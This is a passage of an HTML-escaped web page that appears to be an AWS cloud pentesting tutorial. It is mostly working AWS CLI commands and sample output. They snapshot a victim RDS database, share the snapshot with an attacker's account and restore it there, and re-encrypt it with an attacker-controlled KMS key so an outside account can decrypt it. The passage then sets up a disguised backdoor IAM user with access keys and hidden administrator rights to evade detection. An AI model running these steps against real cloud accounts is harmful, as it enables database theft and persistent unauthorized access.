stolen-snapshot&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Explanation&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;--db-instance-identifier victim-db&lt;/code&gt;: the target RDS instance.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;--db-snapshot-identifier stolen-snapshot&lt;/code&gt;: creates the &lt;code&gt;stolen-snapshot&lt;/code&gt; snapshot.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;If the command succeeds, it means &lt;strong&gt;the current identity has&lt;/strong&gt; the &lt;code&gt;rds:CreateDBSnapshot&lt;/code&gt; &lt;strong&gt;permission&lt;/strong&gt; and can create snapshots.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h4 id="2-view-rds-snapshots-in-the-current-account"&gt;&lt;a href="#2-view-rds-snapshots-in-the-current-account" class="header-anchor"&gt;&lt;/a&gt;2. View RDS Snapshots in the Current Account&#10;&lt;/h4&gt;&lt;p&gt;If the attacker cannot create a snapshot, they can try to &lt;strong&gt;find existing snapshots&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds describe-db-snapshots&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Example response:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;DBSnapshots&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;DBSnapshotIdentifier&amp;#34;: &amp;#34;prod-db-snapshot&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;DBInstanceIdentifier&amp;#34;: &amp;#34;victim-db&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Status&amp;#34;: &amp;#34;available&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SnapshotCreateTime&amp;#34;: &amp;#34;2024-03-06T12:00:00Z&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If a snapshot exists, the attacker can try to share it!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h4 id="3-share-the-snapshot-with-the-attackers-account"&gt;&lt;a href="#3-share-the-snapshot-with-the-attackers-account" class="header-anchor"&gt;&lt;/a&gt;3. Share the Snapshot with the Attacker&amp;rsquo;s Account&#10;&lt;/h4&gt;&lt;p&gt;If the snapshot policy is misconfigured, the attacker can &lt;strong&gt;share it with their own AWS account&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds modify-db-snapshot-attribute \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --db-snapshot-identifier prod-db-snapshot \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --attribute-name restore \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --values-to-add ATTACKER_AWS_ACCOUNT_ID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds modify-db-snapshot-attribute --db-snapshot-identifier prod-db-snapshot --attribute-name restore --values-to-add ATTACKER_AWS_ACCOUNT_ID&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Explanation&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;--db-snapshot-identifier prod-db-snapshot&lt;/code&gt;: the snapshot to share.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;--attribute-name restore&lt;/code&gt;: modifies the snapshot&amp;rsquo;s &amp;ldquo;restore&amp;rdquo; attribute, allowing other accounts to restore the snapshot.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;--values-to-add&lt;/code&gt;: adds the attacker&amp;rsquo;s AWS account ID so that it can access the snapshot.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;If the command succeeds, the attacker can access the snapshot from their own AWS account!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h4 id="4-restore-rds-in-the-attackers-account"&gt;&lt;a href="#4-restore-rds-in-the-attackers-account" class="header-anchor"&gt;&lt;/a&gt;4. Restore RDS in the Attacker&amp;rsquo;s Account&#10;&lt;/h4&gt;&lt;p&gt;The attacker signs in to their own AWS account and restores the snapshot:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds restore-db-instance-from-db-snapshot \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --db-instance-identifier stolen-db \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --db-snapshot-identifier prod-db-snapshot&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If this succeeds, the attacker now has a complete copy of the database!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h4 id="5-copy-rds-to-remove-the-original-encryption-more-complex"&gt;&lt;a href="#5-copy-rds-to-remove-the-original-encryption-more-complex" class="header-anchor"&gt;&lt;/a&gt;5. Copy RDS to Remove the Original Encryption (More Complex)&#10;&lt;/h4&gt;&lt;p&gt;Step 4 lets you restore RDS in the attacker&amp;rsquo;s account, but only if the snapshot is unencrypted. If it is encrypted, it cannot be moved to the attacker&amp;rsquo;s account. Copies are also encrypted by default, and you cannot simply leave the encryption setting blank while making the copy. However, we can create a new KMS key and replace the original encryption during the copy process, giving us control over the KMS key.&lt;/p&gt;&#10;&lt;h5 id="create-a-new-kms-key"&gt;&lt;a href="#create-a-new-kms-key" class="header-anchor"&gt;&lt;/a&gt;Create a New KMS Key&#10;&lt;/h5&gt;&lt;p&gt;If you do not have a suitable KMS key, you need to create a new one manually:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws kms create-key --description &amp;#34;My RDS Key&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Then retrieve the&lt;/strong&gt; &lt;code&gt;KeyId&lt;/code&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws kms list-keys&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Response:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Keys&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;KeyId&amp;#34;: &amp;#34;abcd1234-5678-efgh-ijkl-9876543210mn&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="copy-the-snapshot-using-the-new-kms-key"&gt;&lt;a href="#copy-the-snapshot-using-the-new-kms-key" class="header-anchor"&gt;&lt;/a&gt;Copy the Snapshot Using the New KMS Key&#10;&lt;/h5&gt;&lt;p&gt;You need to copy the snapshot &lt;strong&gt;using the newly created KMS key&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds copy-db-snapshot \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --source-db-snapshot-identifier database-1-snapshot \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --target-db-snapshot-identifier new-snapshot \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --kms-key-id abcd1234-5678-efgh-ijkl-9876543210mn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds copy-db-snapshot --source-db-snapshot-identifier database-1-snapshot --target-db-snapshot-identifier new-snapshot --kms-key-id abcd1234-5678-efgh-ijkl-9876543210mn&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;This way,&lt;/strong&gt; &lt;code&gt;new-snapshot&lt;/code&gt; &lt;strong&gt;is still encrypted, but it uses a KMS key that you control!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h5 id="allow-the-target-account-to-access-this-kms-key"&gt;&lt;a href="#allow-the-target-account-to-access-this-kms-key" class="header-anchor"&gt;&lt;/a&gt;Allow the Target Account to Access This KMS Key&#10;&lt;/h5&gt;&lt;p&gt;You need to allow the target AWS account to access this KMS key:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws kms create-grant \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --key-id abcd1234-5678-efgh-ijkl-9876543210mn \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --grantee-principal arn:aws:iam::650*******:root \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --operations Decrypt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws kms create-grant --key-id abcd1234-5678-efgh-ijkl-9876543210mn --grantee-principal arn:aws:iam::650*******:root --operations Decrypt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;This allows the 650 account to decrypt&lt;/strong&gt; &lt;code&gt;new-snapshot&lt;/code&gt;&lt;strong&gt;!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h5 id="share-the-new-snapshot"&gt;&lt;a href="#share-the-new-snapshot" class="header-anchor"&gt;&lt;/a&gt;Share the New Snapshot&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds modify-db-snapshot-attribute \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --db-snapshot-identifier new-snapshot \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --attribute-name restore \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --values-to-add 6502*******&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds modify-db-snapshot-attribute --db-snapshot-identifier new-snapshot1 --attribute-name restore --values-to-add 6502*******&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The last step is a little complicated, so let&amp;rsquo;s try it in practice. As shown below:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0050.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0051.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0052.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0053.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0054.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0055.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Generally, steps 1–4 are enough. Step 5 can be used when the target has particularly strict encryption, but it is fairly troublesome. Usually, steps 1–4 are already enough to transfer the snapshot to the attacker, so there is no need for the extra step. That is also why I put it fifth. If encryption prevents the snapshot from being shared, you can add step 5.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h3 id="creating-a-backdoor-user-stealthy-backdoor-technique"&gt;&lt;a href="#creating-a-backdoor-user-stealthy-backdoor-technique" class="header-anchor"&gt;&lt;/a&gt;Creating a Backdoor User (Stealthy Backdoor Technique)&#10;&lt;/h3&gt;&lt;p&gt;Create a hidden backdoor user in an AWS account to maintain persistent access. Even if an administrator spots an unusual login and deletes the regular IAM account, the attacker can still retain control of the AWS account.&lt;/p&gt;&#10;&lt;h4 id="steps-for-creating-a-backdoor-user"&gt;&lt;a href="#steps-for-creating-a-backdoor-user" class="header-anchor"&gt;&lt;/a&gt;Steps for Creating a Backdoor User&#10;&lt;/h4&gt;&lt;h5 id="1-create-a-discreet-iam-user"&gt;&lt;a href="#1-create-a-discreet-iam-user" class="header-anchor"&gt;&lt;/a&gt;1. Create a Discreet IAM User&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-user --user-name support-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Strategy&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Use AWS-style names&lt;/strong&gt; (such as &lt;code&gt;aws-support&lt;/code&gt; or &lt;code&gt;backup-user&lt;/code&gt;) to draw less attention from administrators.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Blend it into the existing user list&lt;/strong&gt; so administrators are less likely to notice it.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="2-create-an-access-key-for-the-user"&gt;&lt;a href="#2-create-an-access-key-for-the-user" class="header-anchor"&gt;&lt;/a&gt;2. Create an Access Key for the User&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam create-access-key --user-name support-user&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Example output&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AccessKey&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;UserName&amp;#34;: &amp;#34;support-user&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AccessKeyId&amp;#34;: &amp;#34;AKIAIOSFODNN7EXAMPLE&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SecretAccessKey&amp;#34;: &amp;#34;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Status&amp;#34;: &amp;#34;Active&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;The access key can be used for AWS CLI/API calls. Even if an administrator removes the user&amp;rsquo;s console login access, remote access still works!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="3-give-the-user-discreet-administrator-permissions"&gt;&lt;a href="#3-give-the-user-discreet-administrator-permissions" class="header-anchor"&gt;&lt;/a&gt;3. Give the User Discreet Administrator Permissions&#10;&lt;/h5&gt;&lt;p&gt;If the attacker attaches &lt;code&gt;AdministratorAccess&lt;/code&gt; directly, it is easy to spot:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam attach-user-policy \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --user-name support-user \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;A way around detection: use an inline 